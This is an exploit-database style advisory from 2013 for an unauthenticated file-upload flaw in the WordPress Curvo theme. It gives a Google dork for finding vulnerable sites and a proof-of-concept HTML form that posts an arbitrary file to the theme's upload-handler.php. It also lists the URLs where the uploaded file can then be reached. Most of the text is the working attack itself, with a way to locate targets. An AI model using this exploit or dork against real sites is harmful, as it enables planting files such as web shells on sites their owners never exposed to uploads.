WordPress Curvo Themes - CSRF File Upload

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# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Infected File: upload_handler.php
# Google dork: inurl:/wp-content/themes/curvo/
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# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]